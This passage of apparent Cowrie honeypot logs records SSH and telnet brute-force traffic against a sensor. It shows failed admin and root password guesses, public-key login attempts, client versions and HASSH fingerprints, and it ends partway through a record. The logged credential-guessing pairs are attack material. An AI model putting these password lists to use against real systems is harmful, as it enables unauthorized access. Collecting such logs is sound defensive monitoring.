{"eventid":"cowrie.login.failed","username":"admin","password":"03031966","message":"login attempt [admin/03031966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:43.436805Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.25103712081909,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:44.324797Z","src_ip":"135.148.14.151","session":"f012f65a1ed0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030290","message":"login attempt [admin/030290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:44.541016Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030286","message":"login attempt [admin/030286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:45.650667Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03021997","message":"login attempt [admin/03021997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:46.757747Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011975","message":"login attempt [admin/03011975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:47.864933Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:48.971374Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.86246657371521,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:00.778932Z","src_ip":"135.148.14.151","session":"316b02d61848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48638,"dst_ip":"159.203.135.109","dst_port":23,"session":"20def850735d","protocol":"telnet","message":"New connection: 135.148.14.151:48638 (159.203.135.109:23) [session: 20def850735d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:15.188516Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":33642,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdedf175c0d1","protocol":"ssh","message":"New connection: 45.148.10.121:33642 (10.17.0.5:22) [session: fdedf175c0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:23.288051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:23.365078Z","src_ip":"45.148.10.121","session":"fdedf175c0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:23.444308Z","src_ip":"45.148.10.121","session":"fdedf175c0d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"1664bfb2720d","protocol":"telnet","message":"New connection: 135.148.14.151:55158 (159.203.135.109:23) [session: 1664bfb2720d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:30.932414Z"}
{"eventid":"cowrie.session.closed","duration":35.95697498321533,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:30:51.145337Z","src_ip":"135.148.14.151","session":"20def850735d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41898,"dst_ip":"159.203.135.109","dst_port":23,"session":"e78428a66ab3","protocol":"telnet","message":"New connection: 135.148.14.151:41898 (159.203.135.109:23) [session: e78428a66ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:02.611475Z"}
{"eventid":"cowrie.session.closed","duration":34.68589639663696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:05.618172Z","src_ip":"135.148.14.151","session":"1664bfb2720d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b59a914e7ec","protocol":"telnet","message":"New connection: 135.148.14.151:46862 (159.203.135.109:23) [session: 7b59a914e7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:13.633240Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55100,"dst_ip":"159.203.135.109","dst_port":23,"session":"989a47144e5c","protocol":"telnet","message":"New connection: 135.148.14.151:55100 (159.203.135.109:23) [session: 989a47144e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:31.465493Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33504,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e6f0aa0eb53","protocol":"ssh","message":"New connection: 62.133.62.83:33504 (159.203.135.109:22) [session: 9e6f0aa0eb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:33.597436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:33.602535Z","src_ip":"62.133.62.83","session":"9e6f0aa0eb53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:33.681785Z","src_ip":"62.133.62.83","session":"9e6f0aa0eb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iamhappy","message":"login attempt [root/iamhappy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:33.919026Z","src_ip":"62.133.62.83","session":"9e6f0aa0eb53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:35.001183Z","src_ip":"62.133.62.83","session":"9e6f0aa0eb53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"eacc76af600d","protocol":"telnet","message":"New connection: 135.148.14.151:58606 (159.203.135.109:23) [session: eacc76af600d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:37.536371Z"}
{"eventid":"cowrie.session.closed","duration":34.60780429840088,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:48.240896Z","src_ip":"135.148.14.151","session":"7b59a914e7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50606,"dst_ip":"159.203.135.109","dst_port":23,"session":"752d4a59ec6f","protocol":"telnet","message":"New connection: 135.148.14.151:50606 (159.203.135.109:23) [session: 752d4a59ec6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:54.127726Z"}
{"eventid":"cowrie.session.closed","duration":0.006059408187866211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:54.133460Z","src_ip":"135.148.14.151","session":"752d4a59ec6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40082,"dst_ip":"159.203.135.109","dst_port":23,"session":"d21d6b2af534","protocol":"telnet","message":"New connection: 135.148.14.151:40082 (159.203.135.109:23) [session: d21d6b2af534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:31:58.932488Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56986,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf690d91004","protocol":"telnet","message":"New connection: 135.148.14.151:56986 (159.203.135.109:23) [session: 5bf690d91004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:05.836870Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":49772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f77e8f0104a4","protocol":"ssh","message":"New connection: 148.113.160.5:49772 (10.17.0.5:22) [session: f77e8f0104a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.748279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.753519Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.777250Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:53:d9:8f:d6:9c:21:7a:d8:4d:01:7f:92:05:cb:70","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyUhRz1Ca1Nyf09Hv+9B0TqkP1biN7mCyJo+wig2Etw","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 92:53:d9:8f:d6:9c:21:7a:d8:4d:01:7f:92:05:cb:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.861772Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:53:d9:8f:d6:9c:21:7a:d8:4d:01:7f:92:05:cb:70","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyUhRz1Ca1Nyf09Hv+9B0TqkP1biN7mCyJo+wig2Etw","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.869299Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:76:21:31:0e:c8:27:8d:c5:bf:63:bc:82:27:97:94","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJC33d4ouY4ECRGnlC66uovX6yovQj0n1iY//M6rRJuTF0VTDhTXbU9M4cqhbetqKc0j16PceP50VX2TdHbl7XlduaaFmyebpjmbF9aDF0ebtfhtUoD87gmYZVR6WglLbP4QA4seuXyZ/Qx4fBMbzDRd/u3/IXbIQQC/MLXZUbt1AAAAFQD9rYPwxaXj4HVkvJHlissykgFAQwAAAIBAD66UBylDNMRVosltS00khVWtEE5mEVz68cJTGMqr0TQfcLHF7ukOCfpnHp7wOXycRq9XEITshHz1yTqwAPPWY6qcj2y2R+l347UJGCdMnVCVwZHbvPvwg0SS1eQ+a+IUq/VjgRiiuQumvzrCe2x3I6y2ugVoakhrkWT1j5Hn8wAAAIAq/KB9Es51uVZJa+VBluhu4I0RQcrwxSfUAr5mkqXrWIscs4NUcrVzxF7plExaWUU7ZKRKYvmRM0HPbOSn5akXd7jUcZmhwkjOLFpNhE9Ishy7QreDCKHiXjqchVk87tC0N4MyxPcmxt933WRNr2oxwRTW+SdTELOHhqfSMKUtiA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 81:76:21:31:0e:c8:27:8d:c5:bf:63:bc:82:27:97:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.892999Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:76:21:31:0e:c8:27:8d:c5:bf:63:bc:82:27:97:94","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJC33d4ouY4ECRGnlC66uovX6yovQj0n1iY//M6rRJuTF0VTDhTXbU9M4cqhbetqKc0j16PceP50VX2TdHbl7XlduaaFmyebpjmbF9aDF0ebtfhtUoD87gmYZVR6WglLbP4QA4seuXyZ/Qx4fBMbzDRd/u3/IXbIQQC/MLXZUbt1AAAAFQD9rYPwxaXj4HVkvJHlissykgFAQwAAAIBAD66UBylDNMRVosltS00khVWtEE5mEVz68cJTGMqr0TQfcLHF7ukOCfpnHp7wOXycRq9XEITshHz1yTqwAPPWY6qcj2y2R+l347UJGCdMnVCVwZHbvPvwg0SS1eQ+a+IUq/VjgRiiuQumvzrCe2x3I6y2ugVoakhrkWT1j5Hn8wAAAIAq/KB9Es51uVZJa+VBluhu4I0RQcrwxSfUAr5mkqXrWIscs4NUcrVzxF7plExaWUU7ZKRKYvmRM0HPbOSn5akXd7jUcZmhwkjOLFpNhE9Ishy7QreDCKHiXjqchVk87tC0N4MyxPcmxt933WRNr2oxwRTW+SdTELOHhqfSMKUtiA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.897566Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:49:35:20:66:e7:5a:f4:1a:d2:3b:e4:24:07:1a:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb7bLBcgc0yYhsfXClXZ/P18uBbSiLn+jTKdgMP4lUDK7CvK+AF34INgzMeQHOgPpjI0shzfckPXf60a+M/8mevQzP7Et8qib21TpFDbu6eO310elEZAWOJGlN4sjvCWnDQicIpf6KaIqIvRtY2O2Klk5ghxe6zmn5w7OVy5Wz5g31G5N+0jMQgqfskMwpbL2ErDlIBs94WUmfY/RmnfZBRLNiMUzO5reUtuhaubqFAx473qU0gjN3dXC4lf6Ue+YT2SvZyWySstTrFDuCtuGTqLvrZ5lyIde0BcuNArG2X39lnT2pUWJ4/UqqkfacB0UI8aHhuwh9bGGqO81Xmt7T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:49:35:20:66:e7:5a:f4:1a:d2:3b:e4:24:07:1a:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.924794Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:49:35:20:66:e7:5a:f4:1a:d2:3b:e4:24:07:1a:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb7bLBcgc0yYhsfXClXZ/P18uBbSiLn+jTKdgMP4lUDK7CvK+AF34INgzMeQHOgPpjI0shzfckPXf60a+M/8mevQzP7Et8qib21TpFDbu6eO310elEZAWOJGlN4sjvCWnDQicIpf6KaIqIvRtY2O2Klk5ghxe6zmn5w7OVy5Wz5g31G5N+0jMQgqfskMwpbL2ErDlIBs94WUmfY/RmnfZBRLNiMUzO5reUtuhaubqFAx473qU0gjN3dXC4lf6Ue+YT2SvZyWySstTrFDuCtuGTqLvrZ5lyIde0BcuNArG2X39lnT2pUWJ4/UqqkfacB0UI8aHhuwh9bGGqO81Xmt7T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.931818Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:4b:dc:2f:02:1d:41:74:83:46:66:fc:9c:c6:69:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCivVG01xT8Y8PmCff+jFOGuKVkMxP8u48M2ZyT30JlFhO37t+I6+ojvhnDPsG7DFHhMFxUfLvTb1fhwT+0cnSopURD2ddxDlduRzeO2bRqpPMqo2wYYpYj3JyTm6RIjgTUSMXjnj9x6XXkrn9ZzlrBGk4QnYBlCF3IxyUY8CBlog4W5RRue3aHGmJ3djhBD3/ncTnseTQ4pb3rRrd5/q5kHFVjWWzLziDq9TrLzRsoBE+awpoCdqOHn6JsiqYwJzTwU6FuUsfG+EvH8XLDLyL+2WBuiYoDRvkkCKgKBUUWWcyhC9eI1C4eVN/ZO5cnoJEz8b3MS46NRzDpMpvUOCtN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:4b:dc:2f:02:1d:41:74:83:46:66:fc:9c:c6:69:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.961712Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:4b:dc:2f:02:1d:41:74:83:46:66:fc:9c:c6:69:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCivVG01xT8Y8PmCff+jFOGuKVkMxP8u48M2ZyT30JlFhO37t+I6+ojvhnDPsG7DFHhMFxUfLvTb1fhwT+0cnSopURD2ddxDlduRzeO2bRqpPMqo2wYYpYj3JyTm6RIjgTUSMXjnj9x6XXkrn9ZzlrBGk4QnYBlCF3IxyUY8CBlog4W5RRue3aHGmJ3djhBD3/ncTnseTQ4pb3rRrd5/q5kHFVjWWzLziDq9TrLzRsoBE+awpoCdqOHn6JsiqYwJzTwU6FuUsfG+EvH8XLDLyL+2WBuiYoDRvkkCKgKBUUWWcyhC9eI1C4eVN/ZO5cnoJEz8b3MS46NRzDpMpvUOCtN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.968008Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:d0:90:66:97:45:1e:17:78:f0:20:ed:4a:57:da:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX389tfXae18u/axAUEN/MhlmdTRsiNRc57dMBNPmi6s8fyIKvVzGaRRN7lu2Vf4bPyqrX57+wIyxoogY/kra/IBzZ0dMYtPg9t89wlggNF1q9xbQ+g1CX7/I5GHiCGl8y6/cdn2sJyBpaNRjQGEs0JA8lg/y04HC6bCRcxuLzjkUX6OYg1Oh3EYLvBekRqbToDNQxNkewmpicxB0zfONIAo8vDIoXlsS2dx3Bc7mRBNTN4xrEkvQcFhCbFv5BWJo43eW4Kg8m1ZDwfxO/KuJap0hAgbzPex5HQmfboNmPJACaMwDE5xFmN8OUrLb91dhyYhd6eloyTtLjxUlv4LLd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:d0:90:66:97:45:1e:17:78:f0:20:ed:4a:57:da:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:11.997226Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:d0:90:66:97:45:1e:17:78:f0:20:ed:4a:57:da:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX389tfXae18u/axAUEN/MhlmdTRsiNRc57dMBNPmi6s8fyIKvVzGaRRN7lu2Vf4bPyqrX57+wIyxoogY/kra/IBzZ0dMYtPg9t89wlggNF1q9xbQ+g1CX7/I5GHiCGl8y6/cdn2sJyBpaNRjQGEs0JA8lg/y04HC6bCRcxuLzjkUX6OYg1Oh3EYLvBekRqbToDNQxNkewmpicxB0zfONIAo8vDIoXlsS2dx3Bc7mRBNTN4xrEkvQcFhCbFv5BWJo43eW4Kg8m1ZDwfxO/KuJap0hAgbzPex5HQmfboNmPJACaMwDE5xFmN8OUrLb91dhyYhd6eloyTtLjxUlv4LLd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:12.008789Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:12.042913Z","src_ip":"148.113.160.5","session":"f77e8f0104a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":5262,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8d50aba433d","protocol":"ssh","message":"New connection: 2.57.121.25:5262 (10.17.0.5:22) [session: b8d50aba433d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:12.760667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:12.767839Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS